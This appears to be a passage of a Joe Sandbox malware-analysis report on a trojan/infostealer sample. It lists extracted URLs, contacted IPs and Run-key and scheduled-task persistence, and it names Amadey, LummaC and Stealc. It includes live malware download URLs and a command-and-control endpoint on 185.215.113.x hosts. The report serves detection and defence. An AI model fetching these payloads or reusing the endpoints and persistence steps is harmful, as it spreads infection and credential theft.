https://firefox.settings.services.mozilla.com/v1Failed	firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 0000001F.00000002.2857725171.000035F8004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2864306916.000035F8005D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001C.00000002.2876753251.0000017A5BEBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2913110335.0000017A5D011000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://profiler.firefox.comFound	firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://youtube.com/account?=https://accounts.google.co	firefox.exe, 0000001C.00000002.2852471532.0000017A59B2B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.comwebIsolated=https://youtube.combound	firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3624	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 0000001F.00000003.2683050383.000035F800DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2876811491.000035F800784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683093325.000035F800D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683613554.000035F800E34000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906828754.0000017A5CC43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001C.00000002.2844834313.0000017A58726000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpser	0a29ef6c7c.exe, 0000000A.00000002.2926513601.0000000000A97000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/5906	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe8	2bfd73b1c9.exe, 00000008.00000002.2855523156.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2916120334.000035F800D00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3832	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://anglebug.com/6651	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
151.101.193.91	services.addons.mozilla.org	United States	54113	FASTLYUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
172.217.16.196	unknown	United States	15169	GOOGLEUS	false
142.250.185.78	youtube.com	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.201.103.21	normandy-cdn.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559027
Start date and time:	2024-11-20 04:06:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	60
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@129/41@109/26
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 142.250.181.227, 172.217.16.142, 108.177.15.84, 34.104.35.123, 142.250.185.227, 142.250.185.206, 142.250.110.84, 20.42.73.29, 35.164.125.63, 35.80.238.59, 52.12.64.98, 142.250.186.35, 184.28.89.167, 142.250.185.174, 95.101.150.2, 52.168.117.170, 172.217.18.10, 142.250.184.202, 142.250.184.234, 142.250.185.234, 142.250.186.74, 142.250.186.106, 142.250.185.170, 142.250.186.170, 216.58.206.74, 142.250.185.202, 142.250.185.74, 142.250.185.106, 142.250.181.234, 172.217.16.202, 142.250.74.202, 142.250.185.138, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.22.61.59, 2.22.61.56, 142.251.40.142, 142.250.184.238, 52.182.143.212, 13.89.179.12, 172.217.16.131, 2.19.126.156, 2.19.126.137, 52.168.117.168, 172.217.16.206, 13.89.179.13, 2.20.245.137, 2.20.245.135, 20.42.65.84, 52.182.143.213
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, onedscolprdcus16.centralus.cloudapp.azure.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, star-azurefd-prod.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, learn.microsoft.com.edgekey.net, update.googleapis.com, onedscolprdeus02.eastus.cloudapp.azure.com, onedscolprdeus13.eastus.cloudapp.azure.com, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, edgedl.me.gvt1.com, c.bing.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, ciscobinary.openh264.org, c-
Execution Graph export aborted for target 0a29ef6c7c.exe, PID 7564 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7308 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7500 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7612 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:07:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:08:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2bfd73b1c9.exe C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe
03:08:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0a29ef6c7c.exe C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe
03:08:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dc933f0ab5.exe C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe
03:08:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9f58872eb6.exe C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe
03:08:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2bfd73b1c9.exe C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe
03:09:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0a29ef6c7c.exe C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe
03:09:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dc933f0ab5.exe C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe
03:09:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9f58872eb6.exe C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe
03:09:56	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
22:08:02	API Interceptor	18972277x Sleep call for process: skotes.exe modified
22:08:20	API Interceptor	149x Sleep call for process: 2bfd73b1c9.exe modified
22:08:42	API Interceptor	179x Sleep call for process: 0a29ef6c7c.exe modified
22:08:43	API Interceptor	534304x Sleep call for process: e6b1d28aa7.exe modified
22:09:00	API Interceptor	1x Sleep call for process: WerFault.exe modified
22:09:13	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0016.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.44
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
